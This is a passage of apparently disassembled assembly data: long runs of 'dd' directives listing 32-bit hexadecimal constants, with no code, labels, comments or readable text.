		dd 0CE0C9829h, 81AEC418h, 0A9C4A12h, 24805CD1h,	59881C28h
		dd 0D88826BBh, 0D6C2B441h, 5EE1F820h, 23943B13h, 0FE4F00DEh
		dd 6C1598AAh, 19A44018h, 1CF4761h, 37EDD114h, 0F0800CFCh
		dd 8985B23h, 0F8822970h, 5147619Ch, 240792DBh, 0B0B4A46Ch
		dd 56AC1680h, 7C939FF3h, 84595CA3h, 0D0074DC5h,	48EB9098h
		dd 0F45B9498h, 18E8304Ch, 824C4242h, 438481DBh,	84F2DD70h
		dd 2930C9F2h, 0E1450042h, 0FD117A6Fh, 0DB032D12h, 0AD97F433h
		dd 78CCEC95h, 0CC028A7Dh, 245EB62Ch, 2C488B47h,	0FF467400h
		dd 0A3AD4300h, 0DBE307A5h, 7E71AB09h, 82ACE0D4h, 606CE79Ah
		dd 32186F32h, 0C6A403h,	0CD8544C9h, 78C7D552h, 63A5B700h
		dd 24F973A3h, 0B84018B3h, 0DB7DB8B2h, 4829CA8h,	0FA0FA40Fh
		dd 6DAA7B7h, 852D6251h,	4C15BFE4h, 3980C0D1h, 3E9EBBD9h
		dd 0FAC5BC3Ah, 5E377C02h, 56EFE3C3h, 99A464Ch, 0FC2B722Ah
		dd 3601EC7Bh, 230CF440h, 87E81F8Fh, 0D883B3Ah, 546A4A85h
		dd 85B4C54Dh, 0A0DC80B8h, 731240A3h, 50466F0Fh,	7B5908D1h
		dd 0CC6E00A1h, 0D9768AB4h, 3F001223h, 5507A0BDh, 0EC317C8Bh
		dd 0DAA72EE8h, 6F12405Ch, 70B973D4h, 4718CED1h,	0BA03B00Eh
		dd 90C2BEC5h, 5CEAFFCBh, 0E500DC68h, 0CD724A09h, 586C0670h
		dd 0FE25B09Fh, 0E8591889h, 61182079h, 714E5098h, 2081C840h
		dd 39DCBB60h, 2FA0E70h,	686D4D15h, 5EE0CB95h, 9F00A461h
		dd 25780BA3h, 5B851E1Ch, 48456D5h, 23DD96Ch, 492F7265h
		dd 402F88C8h, 19EA82A0h, 4CB17E1Bh, 550DE900h, 3F152A5Ah
		dd 0F40ED703h, 5687B591h, 0A5EFC2C8h, 11F5D860h, 495C6090h
		dd 0F18E1284h, 1A2280B2h, 0C8F7B13h, 6B3EB0F1h,	0B429000Ch
		dd 0E4894378h, 0A42300F7h, 7F947EEFh, 959FDFA6h, 823110BCh
		dd 542E75A0h, 30911730h, 0F98D9A24h, 980C6128h,	2010CA18h
		dd 88E7BE58h, 6B020244h, 68966F08h, 2024F225h, 5D090A7Dh
		dd 0F9546B7Eh, 53CA6E4h, 84910C9Fh, 0DFC0F4EFh,	36776C00h
		dd 0CF5D9AEAh, 685B3BD1h, 1C187B3Dh, 6913A8A5h,	0D9DD7816h
		dd 42BF1448h, 0ACABBD75h, 4DC1206Dh, 0F030BE3Ah, 0A352675h
		dd 28904980h, 8326C168h, 74529098h, 866F8280h, 8521968h
		dd 8298021h, 128F327Fh,	0C153F69h, 2748460h, 0E68520F8h
		dd 70B018F3h, 48A90CA1h, 783851F2h, 0FC7408BDh,	0CE448477h
		dd 4A757A9Dh, 0AEC842FDh, 0E2133DEFh, 17E40534h, 4C3811ABh
		dd 0ACA083C8h, 75026346h, 57914BD8h, 63584C7Eh,	8BD8006Eh
		dd 35606566h, 0E30193A5h, 6A845068h, 38410640h,	0CE0D233Ch
		dd 0C1A87126h, 5A3259A0h, 0D962DCEDh, 0AC670704h, 90B71265h
		dd 6639A9B0h, 0BE676D01h, 9D0570Eh, 0F6872180h,	0CFE63CDDh
		dd 0F221A900h, 92C003B8h, 0D96509D5h, 44071BDAh, 1178A0D8h
		dd 0E64008ADh, 7E0F021Ch, 0E8566A8Dh, 46769CD6h, 6A2D0023h
		dd 961B81F8h, 914601A7h, 0B80EF9D4h, 471304Eh, 9E66F61Dh
		dd 129CCD15h, 0CC29F101h, 82DB20C2h, 0F0A8D9B2h, 2C209671h
		dd 4A880BC8h, 985930AFh, 0E422C8A0h, 71DFE017h,	84A04F4Ah
		dd 0C610884Bh, 8C5EF286h, 0E35C9B90h, 8CE0E8C8h, 1B94F105h
		dd 0AC0C9F7Bh, 482A964h, 0F88E71F5h, 25788F18h,	0FE404172h
		dd 0CEB8286Ch, 0F2661D8Ch, 0E5508247h, 0DC567139h, 2455E287h
		dd 47CB5F60h, 0B8E408h,	0BF28CC87h, 88D7B1CDh, 1D2098A0h
		dd 171C1980h, 3EFB4C74h, 8C708Ch, 9CFD3B62h, 7CF6ACFCh
		dd 3584F896h, 0EFC0C372h, 0CD7D88h, 6C1DFA47h, 0F57B276Ah
		dd 72F97F12h, 0E022508Ah, 690AD130h, 7C90D69h, 4FCB0745h
		dd 3A8830C2h, 72007837h, 0C59B5F68h, 504473Ch, 0C34DA87Ch
		dd 78C8CD81h, 8C0CBCACh, 88BCC200h, 5C6EEFD5h, 0D1A918E5h
		dd 0F4B7911Ch, 0BBDF7900h, 99101B1Fh, 0CCE31E77h, 0E9ABCB7Bh
		dd 95022066h, 0A42C2DCFh
		dd 0C3856044h, 0A3082FA2h, 812F90A0h, 250F0790h, 0E76A6404h
		dd 85A54818h, 72C9F0B2h, 991A2C7Eh, 5E4CD649h, 733046h
		dd 0E29795E5h, 0F028A666h, 7F13D617h, 5402C512h, 5E09FEF2h
		dd 0F200DEC8h, 155CBED2h, 607DDCE5h, 4B82C1EEh,	320F489Fh
		dd 0F404F8h, 751E1BB1h,	70DB61DAh, 3E0A988Dh, 0DBFF2009h
		dd 85775898h, 820A1D05h, 0AC8E0C5Ch, 0E2C0FE88h, 3EE34EC8h
		dd 0BF879A65h, 11815317h, 7CFCF01Eh, 8CCCBC4Ch,	4F3E7EE0h
		dd 0F6143C8Dh, 184FC59h, 0F9C1A01Dh, 5BEC13ACh,	52653D4Ah
		dd 5921EC05h, 0C8148BF1h, 6EC2C0FDh, 63002540h,	0E4201D23h
		dd 28B287AEh, 0BB8288Ch, 0E5D6E076h, 1870B073h,	82AD006Eh
		dd 83BA1BA0h, 0F49C804Ah, 0EBABDB00h, 4972E6FEh, 380F3806h
		dd 0F28011DCh, 734B7DFBh, 9DFBA3Bh, 2E2D51h, 995210F2h
		dd 4C2C02C2h, 48076B4Ah, 0F5404854h, 0EE1F9F2Fh, 0DE1B00DDh
		dd 3C623A21h, 0DA316875h, 1C1AF991h, 288FF9C4h,	1D900EF0h
		dd 0B0D0D107h, 0A4DB4821h, 3AA00F00h, 9FB2655Bh, 0B1E10B5Eh
		dd 502FE287h, 0B7965DE0h, 117848E7h, 0C295B225h, 7B1360A8h
		dd 8F6C097Ch, 70FA66B0h, 158AD74h, 0AA990F30h, 3CD4DD53h
		dd 84FE078Ch, 1328C9B2h, 0A254E34Eh, 74E13030h,	5D8DB813h
		dd 178968A0h, 30188C82h, 0AF2F8334h, 1600EFEEh,	462D7ABAh
		dd 527FA051h, 90626815h, 688801D9h, 2005D648h, 0FA5D9E82h
		dd 129114F0h, 0C5F4B6B8h, 81080248h, 9CA0D04Ah,	0ACB3867Eh
		dd 1AF0E200h, 0D2BBAA15h, 0B8305806h, 8949E507h, 0C26FC21Bh
		dd 0F9B68440h, 4C096DE8h, 8F651C26h, 9FA9F84h, 87E605B7h
		dd 66D5AC80h, 82EF0F5h,	9A010EE8h, 14E97F75h, 2D882460h
		dd 7068E2C6h, 0CA30B091h, 0B25DA9E0h, 1BC0C047h, 19EA8C8Eh
		dd 966FACA0h, 6059E427h, 58A26C9Ch, 0DA5AD0ECh,	6CF7C1A4h
		dd 0C0CD7E70h, 0C1B1FC00h, 8BF0C29Dh, 0E4D8C508h, 0EAB5602Dh
		dd 0C86900D7h, 48822717h, 0DB00807Ch, 50159560h, 3C15FA2h
		dd 0D0FF99A6h, 0EAB8DF33h, 0B0B78EDBh, 4808D6Ch, 4FA0553h
		dd 8E0881A9h, 0FE0C71EAh, 77648056h, 67FB141h, 3AF029E2h
		dd 0C4C85A69h, 0DC1A4199h, 8E5EB88Fh, 0B25DB093h, 0A140448Bh
		dd 72070C0Ch, 74564035h, 52182100h, 91B1259Fh, 182DF194h
		dd 0E3720613h, 192F97DBh, 0EB1CA42Dh, 0F64AA8D8h, 446C0578h
		dd 0C02AD265h, 49513BD4h, 1886D602h, 4936B029h,	889F0F24h
		dd 10348AFAh, 0A28241D8h, 13447859h, 4A2C9EBh, 8F3031F2h
		dd 188A0132h, 0D0E54A04h, 33B05715h, 65CF9184h,	521CC8A4h
		dd 0DEF7F001h, 4940896Ah, 0DAB4303Ah, 0DD1ECF16h, 6E1DA191h
		dd 6F0F043Ch, 0FCE8E086h, 3C14A300h, 851ECDECh,	8230E925h
		dd 727DDB3Ch, 9A680060h, 3C199C3Fh, 2AE6F235h, 582D9B01h
		dd 0CFBFA2C8h, 0FC7C0C71h, 10073987h, 48792C0h,	3B53E33Eh
		dd 0E10F807Ah, 6BC50E2Ah, 831C0B35h, 24B071D3h,	9A249091h
		dd 6D160CDBh, 41233822h, 607C6218h, 0DAEF1001h,	3832B106h
		dd 1E0C8418h, 78121820h, 5038E784h, 0EBE0F6C0h,	215F2C85h
		dd 38C8D88Eh, 0B12761C0h, 127F0307h, 0B536058Bh, 6B31D289h
		dd 34E8F835h, 28CE1BCh,	4D7AD93Ah, 5C6002D2h, 0F3810D16h
		dd 42848087h, 20E0DC58h, 134A8CA0h, 5CC920DCh, 0E94004C2h
		dd 0D9DCD0E1h, 45D090FFh, 0BC783C91h, 48008CFDh, 19C7FEC4h
		dd 3DFD670h, 0A1FAD271h, 0E802B075h, 7ED3D168h,	8E712123h
		dd 63682CB4h, 4B6B190h,	0C0A66F28h, 0E9A4F4D1h,	4EDB2740h
		dd 0B1D82095h, 69800915h, 57B5BE5h, 239E068Ch, 0A1BED194h
		dd 9C00F1FAh, 0A6D5B338h, 2AF56Ch, 0DCB44F22h, 377D296h
		dd 9F0E60B8h, 0A9D7EE32h, 0C49C0BBEh, 0AF42FA4h, 0ECC0D0CDh
		dd 3B50F473h, 0C2816129h, 989137B4h, 0E01D2AD2h, 0B1B8C058h
		dd 0DB1040E2h, 97F6331Fh, 299D8826h, 7E6F1320h,	0E8B48510h
		dd 0B79E8098h, 2C1CBB0Fh, 6464DA74h, 0F8F826h, 0D3986743h
		dd 9F96DB16h, 0F05B7029h, 4F69970h, 2D96B9A3h, 54A883A9h
		dd 0E7AD44FCh, 2110A482h, 6EBE659Dh, 7CB20C17h,	2DE87448h
		dd 41F7008Ch, 0EEABDB94h, 7A16AD99h, 748E1084h,	2DC00188h
		dd 0CBF160Ah, 94D6A483h, 9381CCC9h, 14C102F7h, 0D3C49E71h
		dd 0A544E0C8h, 6A88F901h, 357291C7h, 0B28CADECh, 648E0BC8h
		dd 308E83EBh, 8428B1DFh, 9B5C2457h, 480B78A3h, 707E7197h
		dd 0C410B7C8h, 94005CE1h, 44300D2Fh, 2110F79h, 0B3EAFC7Eh
		dd 647C7F95h, 0A048E8A7h, 0E97E2565h, 0C4606C62h, 1C2D3FBEh
		dd 0E5444A6Dh, 61E0E4C8h, 61CC8952h, 8D118B6h, 9104B803h
		dd 97A7C404h, 0C48317D3h, 81D10EA5h, 0F3938085h, 30FDE290h
		dd 0B0001905h, 0E48CFC47h, 5E532D69h, 3A74D1A3h, 8143ECBDh
		dd 0E0BEC826h, 7005C412h, 0B0940662h, 8839F488h, 61C210D1h
		dd 0E0768CD5h, 908026Fh, 981FBC13h, 18B1AC22h, 0DB09347Eh
		dd 22C90A3h, 0AF2127A2h, 0E6E3E061h, 3EEAAC41h,	84FA3CC0h
		dd 81094F9Ah, 0FCE86FD4h, 413A8C0h, 7315777Ch, 8D0F8110h
		dd 1305D3D0h, 0C808CB34h, 8A9BC30Dh, 42F444F8h,	0E92D9807h
		dd 3A528D91h, 0E5808934h, 6721E4B0h, 967185D0h,	0BD8B6A0h
		dd 0CC50EBA4h, 0D51C6F05h, 8021F009h, 6025B875h, 0A8BA2430h
		dd 76859EBCh, 0B481B599h, 92335698h, 0C0C0AD18h, 0FE71D8EBh
		dd 0E0A49516h, 2770ADE1h, 0B0C8E1E3h, 23262C52h, 0A4C0CAB5h
		dd 1D9FF2E1h, 862091DCh, 4068ADAEh, 8921FFDh, 0B6C99907h
		dd 83196D26h, 4A442159h, 0E038B6C0h, 60296h, 6453C141h
		dd 0A4759015h, 9FF04F54h, 0A298D2Fh, 34109C94h,	5BE825h
		dd 96374B80h, 3AC3CC9Eh, 5DBE8CD0h, 3F44095Fh, 0EC42802h
		dd 4AC9C88h, 0C25DCDF2h, 0C05216A0h, 0B0919704h, 0A8A0DAFAh
		dd 1C1058C0h, 8008DF4Fh, 8811B44Ah, 0A1CBA3Ah, 31418DE6h
		dd 2F084FF8h, 8A084424h, 327106E3h, 3344E135h, 7A1B0B8h
		dd 1B6BB789h, 0FA1F108Eh, 0CB03701Dh, 0C19A0CF6h, 49E01715h
		dd 0E0C0B653h, 77F5D9h,	0E7DE0D68h, 0E24E9F52h,	0D4F47090h
		dd 2829480h, 9DE6890Fh,	4CC8B65Dh, 4BE1697h, 84516F18h
		dd 0FD4304Ah, 0BC16E90h, 1B481C0Bh, 1EA0DA87h, 0CEDE4914h
		dd 7F24B186h, 2E80BC92h, 0CA041474h, 2CD4997Eh,	0DE88C08Eh
		dd 0C836E0CFh, 17D5872h, 28D87C54h, 705D3F5Ch, 0C5403C00h
		dd 0CE961E76h, 2F4F4BE6h, 0A8BA2884h, 0D54428D8h, 408A882Dh
		dd 0CA3A004h, 0F56A90EBh, 919F7EA8h, 59C89D74h,	13F77F6h
		dd 87218015h, 6B1954C5h, 5CF05C27h, 1250E996h, 46B114Ah
		dd 18703F9Ch, 0C738E768h, 0FAB6D78h, 0DB0F61E0h, 72B8340Bh
		dd 455E3E00h, 0D54288E2h, 880195FBh, 0BE05418Eh, 0B7DB82C8h
		dd 0C6DDEA36h, 268B024h, 98973201h, 0E8F2F006h,	0A2D6240Bh
		dd 6F9CE0D9h, 5E22B0A6h, 0F6F8814Dh, 30E47835h,	5A5710CAh
		dd 0E1BE8978h, 0E9EC34FDh, 366F69C2h, 82104864h, 0C223EA42h
		dd 0C0142E59h, 0A6F4EA00h, 0D944990Eh, 38CE1823h, 804C36A9h
		dd 611B9D18h, 324B4C86h, 16844444h, 42934837h, 13CD3CE1h
		dd 9E688004h, 11951830h, 22F1FF8h, 9D064940h, 9C20ECD9h
		dd 0B8CC264Ah, 911540DEh, 1B307909h, 2C00C44Bh,	0EAEF251h
		dd 0C0A094DDh, 98016187h, 0DC7DAD12h, 0F517F4A2h, 4C2C7B19h
		dd 8BAA0BECh, 287F8723h, 0F23C2BBBh, 43560730h,	30E92AE4h
		dd 0A24EC17Bh, 0ACEDFA00h
		dd 3A9E2850h, 0FC060465h, 0A9029C41h, 5A7B109Ch, 0DE9DA7C8h
		dd 0AA5DBEC5h, 93F9D8F0h, 8F480910h, 1C1C20C4h,	0A0C4CFABh
		dd 0E4F4AD85h, 89344F7Fh, 5429D260h, 0E9830108h, 54FC4A82h
		dd 832AEDCh, 10375F6Fh,	7E975400h, 280223Bh, 8AFCF23Ch
		dd 80D7C943h, 0EE1B7518h, 91030BFAh, 0C85E86B5h, 98DA060h
		dd 80A88334h, 4D5A0128h, 8E16545Eh, 98A844B1h, 28D24994h
		dd 8FEA0C78h, 0B028ABEDh, 6670244h, 0D290EC5Ch,	9E0960E5h
		dd 7AFB518Dh, 0F56A2018h, 26C49F5Ch, 5C493C90h,	7F02DC84h
		dd 0DAD082A9h, 57E842ADh, 9906F023h, 0EF342909h, 68400B74h
		dd 0B8E4C0FCh, 9E7109D8h, 14C9BEE0h, 0F8D07C05h, 4D028CE1h
		dd 31ABE79Bh, 69D8C2A5h, 0D184470Ch, 0D2E19A04h, 0D82A8020h
		dd 0F84C3391h, 8B0AEE71h, 4BBB413Ah, 3223B83Bh,	0D6F4C600h
		dd 45B6C82h, 6FAEA0Bh, 30F0A598h, 3405374h, 1C1D40A8h
		dd 184000B8h, 5D1940F6h, 588B961Ah, 22BC6020h, 0BDE81659h
		dd 0F600A5F1h, 822DC4F6h, 5D128298h, 12D4D084h,	9C4C2CF8h
		dd 0D729C37Dh, 0A6F00F4Ah, 489C183Ch, 48A2FEC4h, 4B30CDE2h
		dd 165A078Fh, 2BD18959h, 6D979CF0h, 62E3C000h, 8CA3E482h
		dd 0EC5BC582h, 8E596700h, 0B5264298h, 0DBC5E822h, 0BD37103h
		dd 6F1C6DC9h, 9A1B0CC8h, 2B0E70A1h, 7F9D2420h, 195D3F87h
		dd 84E7990Eh, 80A2D365h, 98591CAEh, 21919896h, 0DEB0C84Eh
		dd 3A933900h, 0B31D65E2h, 0A9281D9Ah, 2D1239ADh, 54240940h
		dd 24E83488h, 711F0434h, 16288C63h, 0A70E058Ch,	0F8618440h
		dd 759B01Ch, 4D6803A7h,	9FD444B4h, 70A056A9h, 15411078h
		dd 41383060h, 80C028CEh, 1C5E8DEAh, 0BDAE05B0h,	0C283CF84h
		dd 40694638h, 89142C0Fh, 445C7A22h, 0F00E22Fh, 97197B5Eh
		dd 737E0Eh, 545F94F5h, 0ACC0C527h, 0D875612Ch, 63286A04h
		dd 0FD90DB04h, 97060824h, 85341EF2h, 9225048Dh,	1B21B81Ch
		dd 9B43CB83h, 2480B1F5h, 659F1982h, 0ECA4E6AAh,	151B4068h
		dd 3CCABDBh, 6CF9D041h,	6EA01EAEh, 0A17AA2A0h, 0BC59C009h
		dd 91D81720h, 83B9822Fh, 69584242h, 4C642C50h, 62A88FDh
		dd 9174979Dh, 0E23E80CCh, 0DFFC8849h, 884027D8h, 38B1C4C9h
		dd 211823D1h, 9A02948h,	6025A284h, 9117E30h, 63271420h
		dd 29DC3C02h, 0DD93D102h, 0C247E005h, 0EF23F234h, 5CE8847Dh
		dd 0A0F97225h, 0DB097611h, 0A810038Dh, 2A7865A0h, 543FB8C9h
		dd 9091021Ch, 0B230DE1Eh, 7F41C033h, 249DA9Fh, 5C4920B4h
		dd 0CD0C408Ch, 7C1E918Bh, 0B90009D8h, 0DF1532D7h, 974600E6h
		dd 0D26A6CE3h, 51C64E7Eh, 4907D0h, 0D46974A2h, 7B84213Ch
		dd 0EAEDAC00h, 966D5250h, 0F1A2626h, 987E06ACh,	8497E1D4h
		dd 3BAF3600h, 0FF2374h,	34F8347h, 940CE129h, 210FD03Dh
		dd 82B0019h, 167CA1Eh, 0F903C555h, 7B7AEBDEh, 9070B2E3h
		dd 7889B9A4h, 2DB7E0FFh, 0BCC1E1CEh, 84850C18h,	2D255B21h
		dd 150B18C4h, 0D14AE16Eh, 0DDF20198h, 0D4790F71h, 0CC3D6F60h
		dd 0A6050321h, 9043A1ECh, 903A7FA4h, 0A06B1694h, 0E7F8F099h
		dd 0B7DC8517h, 35C024A9h, 0BFE89204h, 24FC10BDh, 0B9CF8FEh
		dd 0FA188E82h, 29DB3403h, 421E85C0h, 0F59B0618h, 0BC77E91h
		dd 0F9DFF32Ch, 9207D0D2h, 1AA044B7h, 0D0FAE822h, 0E48C078h
		dd 0CFAEAA81h, 1CF94916h, 5A1B3421h, 4D048h, 42CB8891h
		dd 0E985ACD3h, 44954492h, 0C47C0020h, 9DB445A2h, 3F2C73B1h
		dd 0E00870C2h, 0A35E3BD2h, 0B88B4E7Ch, 2DC506C8h, 5432C8C2h
		dd 69130068h, 0EBA499C8h, 0D77CCA0Eh, 2BD8C5E7h, 17985C81h
		dd 0CE07D862h, 5B1C7391h, 402DA479h, 42489654h,	0CE12E0Ah
		dd 20DA9940h, 0E4EB5CECh, 366504DEh, 0D6E102DFh, 0F0A555A2h
		dd 9558C8C5h, 0A8AC10BCh, 200D190Dh, 22E0CA2Fh,	0DAF04B5Fh
		dd 0A673C028h, 4A76750h, 8D40816Ch, 0A438C14Ah,	0A5EB0112h
		dd 74DB3844h, 44B926C1h, 0F31CDC19h, 58FE052Fh,	2FA08620h
		dd 0E8408AB8h, 3BF9667Eh, 0B30C1060h, 9D56006Ah, 2AC213F7h
		dd 2705DA81h, 8F8EDE2Bh, 2082AC65h, 12C86A71h, 17B47E0Ch
		dd 7208F437h, 5582DE7Ch, 85771812h, 0DCBC8244h,	710BF222h
		dd 0A1B6108Eh, 17F67EE8h, 0FD29A832h, 62D88D0h,	0D8CB4B17h
		dd 880023DCh, 27C7D30Ah, 0A4DB4C40h, 0EA388160h, 6A008A4Ch
		dd 0EFCB178Dh, 5315EEh,	0F51A83AFh, 0B572CD6Fh,	4056B726h
		dd 40241A26h, 0A849F164h, 484B8C66h, 8000ECA2h,	168250B0h
		dd 9300EA84h, 400E1F74h, 14D37B78h, 74A4DB0Fh, 0DDB1FC00h
		dd 501E77B9h, 0A35241Fh, 13494A40h, 0BF80537Eh,	3871D40Bh
		dd 0B44EA300h, 4867F2FDh, 887C8CE5h, 73004049h,	78B6F496h
		dd 0BD4BA00Dh, 3491C497h, 0E4700E80h, 9650741Ch, 0A19509E8h
		dd 0DEEEB84Ch, 0A0949C7Bh, 7154F92Eh, 45E5D60Bh, 600DE4C8h
		dd 3CC9Bh, 0CE6EC5CDh, 0B713EC5Ah, 0E4BAF76h, 494254B4h
		dd 0B80F382Dh, 0B3921352h, 402F5B90h, 0F802E523h, 0A00871D2h
		dd 0E7B62680h, 0F846E6C0h, 0E0E5FE98h, 9E4413E9h, 81A094ADh
		dd 5F5EA74h, 0EE22A8EDh, 3825E54Bh, 117E8C09h, 0A9ADAAC4h
		dd 0BC064EDh, 13AF14CEh, 48D54690h, 18490F28h, 2DA696A8h
		dd 6040C5C8h, 5D5A623Fh, 0F4A87024h, 0E08C34BCh, 2509E2B4h
		dd 34D05FAFh, 0A1066CF6h, 0DC7D1B8Ah, 70D700A9h, 72C9BE84h
		dd 7F0343BFh, 6E663069h, 447E8A74h, 0F1D900C0h,	0BF5FD3CCh
		dd 7B049CB9h, 78F90F64h, 2682F485h, 340CC04Ah, 0E2AB4A7Dh
		dd 33CDF220h, 0E1726188h, 6F560304h, 0ACA0C886h, 5D631F6Bh
		dd 1062989Eh, 7289A88h,	807CA460h, 4497FA07h, 0F310C5AFh
		dd 0B74C3CAh, 0BD3F531h, 22218C70h, 822402F2h, 0EC56999Ah
		dd 0C4D0F709h, 0C1F4914h, 98F43D2Ah, 3492268h, 0C6334F25h
		dd 4E1C86C0h, 251C8165h, 574F1248h, 2C9F8B3h, 0D4503CDAh
		dd 5F2916C8h, 8C7D4A1h,	9FFA570h, 0F8D518C5h, 744820A7h
		dd 1C125410h, 9F8265E6h, 49DE3195h, 7C448064h, 0BD300BBEh
		dd 0A6843865h, 3A4E5A0Ch, 3320AE0Dh, 7D8024Ch, 0D91ACF35h
		dd 708C5458h, 3901C51h,	0CB87FB70h, 809E3066h, 8C82D761h
		dd 40188070h, 0C40592C7h, 6F08F291h, 748308BCh,	0A0CF61E8h
		dd 5416646Ch, 0F02A8200h, 0E680BB27h, 0B53E025Ah, 0AE501A2Bh
		dd 21000043h, 96E7FA6Fh, 7AB52E90h, 9885F8CEh, 2ED7E88Bh
		dd 40CC9F17h, 77C318A2h, 0EA98451Eh, 1FAD4E03h,	330DD017h
		dd 0F5023F52h, 0D682C100h, 0E76404Ah, 0FFD8B100h, 0FC517F34h
		dd 2F6C5FC5h, 1323F0h, 888D79BBh, 0A40BDA6Fh, 56180967h
		dd 0AB4257A8h, 0DB3840D1h, 8808C4B8h, 594B037Ch, 9579E13Eh
		dd 14561087h, 0F7F9C34Ch, 606608F6h, 31091E20h,	0E4200D4Eh
		dd 91088CE9h, 637F1868h, 0AA614079h, 20E60931h,	8015621h
		dd 77108CF0h, 6350209Eh, 6E5908C4h, 0BDA8201Bh,	2091A610h
		dd 0EC20B521h, 0A21D4401h, 0D608FE63h, 0B3203AB6h, 7663B9C0h
		dd 18FC5710h, 18050120h, 0C780D3BDh, 0CD58C45Eh, 0B09706CBh
		dd 0A39C2008h, 3010F183h, 518B920h, 7A65089Dh, 2A018689h
		dd 0DB3801A4h, 10AB308Ch, 0EA657F08h, 0B04C5A18h, 0C47CA9BAh
		dd 688D079h, 20106F6Bh,	0E7319C03h, 70340883h, 0DA0A188Ch
		dd 84A84650h, 5E8090F0h, 2010CA69h, 63BC8CA8h, 0B8A9B608h
		dd 1B98CF9h, 40DB40E1h,	48898071h, 2783F851h, 91412098h
		dd 8C68D33h, 31182C79h
		dd 23862D6h, 0CCB1A2C8h, 0D0FFDE32h, 37C8A3AFh,	0D28185Ah
		dd 94E1034h, 0EF7408C4h, 389F2106h, 8C5D331h, 4095FAA4h
		dd 4119B49Ch, 0C35F08D7h, 0C1081831h, 8959484h,	2731CC66h
		dd 8CB77899h, 8B4BE10h,	0BBF0A81Fh, 0AFE7807Bh,	0E55308C6h
		dd 0D4112018h, 319E8120h, 1B68FB36h, 58088CF6h,	402928E0h
		dd 0BB408E8Ah, 1808629Fh, 0ED02B653h, 5CB803D5h, 0F9E5F018h
		dd 92583940h, 30286554h, 0F2FC46D5h, 0C63110E2h, 0DBDE08E8h
		dd 59241503h, 3B8C5877h, 0A8764075h, 818F19B8h,	2F8052E1h
		dd 9517A049h, 31ACA4F1h, 0BCA35992h, 0ADC61889h, 0EF48424h
		dd 9519B01Eh, 514308D0h, 18BE294h, 1099F537h, 5157F1EBh
		dd 1870CBCh, 89039550h,	5B6B191Bh, 0DA46F4A0h, 59201064h
		dd 57E72081h, 35A3AA20h, 8660F271h, 1E3110F3h, 0A05F08CFh
		dd 88498402h, 6C2824FEh, 71F1D9DEh, 888ACD8h, 308A186h
		dd 5DE10CC3h, 0F740BF38h, 0F8A0A830h, 0BD20C9CEh, 0D8107022h
		dd 9492E604h, 3F584934h, 400B2024h, 0A95A5ACCh,	20082896h
		dd 9B498EF3h, 60E62414h, 0DE8C1582h, 528E4A3h, 7E7C690Bh
		dd 0F4AC932Bh, 30B6E4C0h, 741210C3h, 8019D0FCh,	3E9104D7h
		dd 0D34381B9h, 15836FC4h, 5E3B9BA8h, 50D1EF0Fh,	0DF676384h
		dd 1ACDF8D0h, 0F0815885h, 8C1E93h, 0C546A9DBh, 67747345h
		dd 0A799A012h, 11230E4h, 6DFFF71h, 8090ECD1h, 5AED73A8h
		dd 0E5777D69h, 6E499C0h, 6E714A83h, 0B3A33825h,	0B85FB84Eh
		dd 0F4B47092h, 72CB0011h, 81B62CB4h, 0E09E14D1h, 12FE983Ah
		dd 60C09960h, 0BD978131h, 0B90F7E16h, 98843E14h, 89B30h
		dd 66FCBE7Fh, 0DBDA99E1h, 3051700h, 0FD65B796h,	0D9EF2E1Ah
		dd 706900B7h, 0FAEA18FEh, 0D87C3Eh, 0E97460ADh,	0BE3272C2h
		dd 17738060h, 59D108DFh, 0C705A4B6h, 3DC2D0E7h,	0E0805F4Bh
		dd 6C3D7E49h, 10731C8h,	76ECD8F1h, 87167150h, 0D1379138h
		dd 598713h, 98490410h, 0C98416BCh, 1FB31448h, 42003F50h
		dd 77E86913h, 735107F8h, 0C11912F2h, 20D4ED94h,	5203E09Bh
		dd 67D1078Fh, 7113F1D7h, 48833071h, 5231BF97h, 0E6D16FD8h
		dd 217C047Ch, 77844805h, 0C020D969h, 8AE6D77Ch,	39D15C01h
		dd 0AC2094FEh, 18FC2414h, 95DF2702h, 0ACA055B4h, 8C97A448h
		dd 0CE0040DFh, 4C985090h, 7E4A134Bh, 0F5C8A031h, 0EE06AE07h
		dd 0FB12BD22h, 0E478E04Ch, 5DAB0023h, 7C05CA56h, 0BB004984h
		dd 0E2E90999h, 2FCBA76h, 0D163140Dh, 0C0743AFBh, 713A5828h
		dd 767D010Fh, 21ACD6ECh, 0C097DBE4h, 59A2A6D1h,	197C178Ah
		dd 18C38E90h, 0B814B8E4h, 2603F27Ch, 7198E4Ch, 4B7E7872h
		dd 99F628F8h, 8370BD48h, 3D90F17Dh, 1B892818h, 620321EAh
		dd 30B0E92Fh, 423DA6BEh, 0C140C87Eh, 0AD627346h, 2199048h
		dd 0B5FCA0A3h, 2844F17Bh, 7AAD2527h, 197CFCB8h,	1043DED1h
		dd 0AC7BDC64h, 0DF18F91Ch, 0BE7580FCh, 657341AEh, 99F0E17h
		dd 93C3CBC4h, 4EB831B5h, 3F00A0E6h, 0B3D96A70h,	0FC30B08h
		dd 697248BDh, 0CC5E99C1h, 4D68803Eh, 0F70DD919h, 0E5DF2605h
		dd 20E90C1Fh, 0A03C1DC0h, 92A30CDCh, 61BA8A9h, 0E8A4DA82h
		dd 0FC241051h, 0D18B7087h, 3B205868h, 6F811727h, 137DDEB7h
		dd 0F9F840B5h, 7E1674DAh, 4CA5338Eh, 0D125447h,	3844B3Eh
		dd 0A4412410h, 60007EB2h, 0D5B6F49Dh, 908F14C1h, 6F673AFCh
		dd 83A0A17Ch, 0AA138D20h, 800C4994h, 749B448h, 9E25894h
		dd 419DA031h, 0EE3D7A7Ch, 0D12B86BBh, 5381036h,	0F70BAAB1h
		dd 0F4800815h, 0C0513010h, 0D7693C01h, 72197C22h, 54F008h
		dd 2D7E6F53h, 9CD2F62Ah, 9179322h, 0EA42B515h, 0C0293404h
		dd 0DEADF710h, 0B6189F78h, 2270A01Ch, 0F1556B0Ch, 0B6EA200h
		dd 89E958D1h, 0A1784660h, 2D5EA408h, 0C2AC24h, 0F6D503D4h
		dd 0E9679652h, 7EA3100Fh, 40887AF0h, 20FA5A64h,	0FF0158FEh
		dd 0D165A40Fh, 0C89FDCC7h, 8858A6B1h, 813AAA33h, 7B999BB5h
		dd 80F096F4h, 9AC8CFD6h, 1BAF7F1Eh, 161DC0C0h, 340983Ah
		dd 4CAB5264h, 3225A0D3h, 0EE3098D2h, 0FEFD0013h, 1F6F12E0h
		dd 0B40797DFh, 0D0BA1D18h, 98A0408Ch, 0A27E2574h, 40226C82h
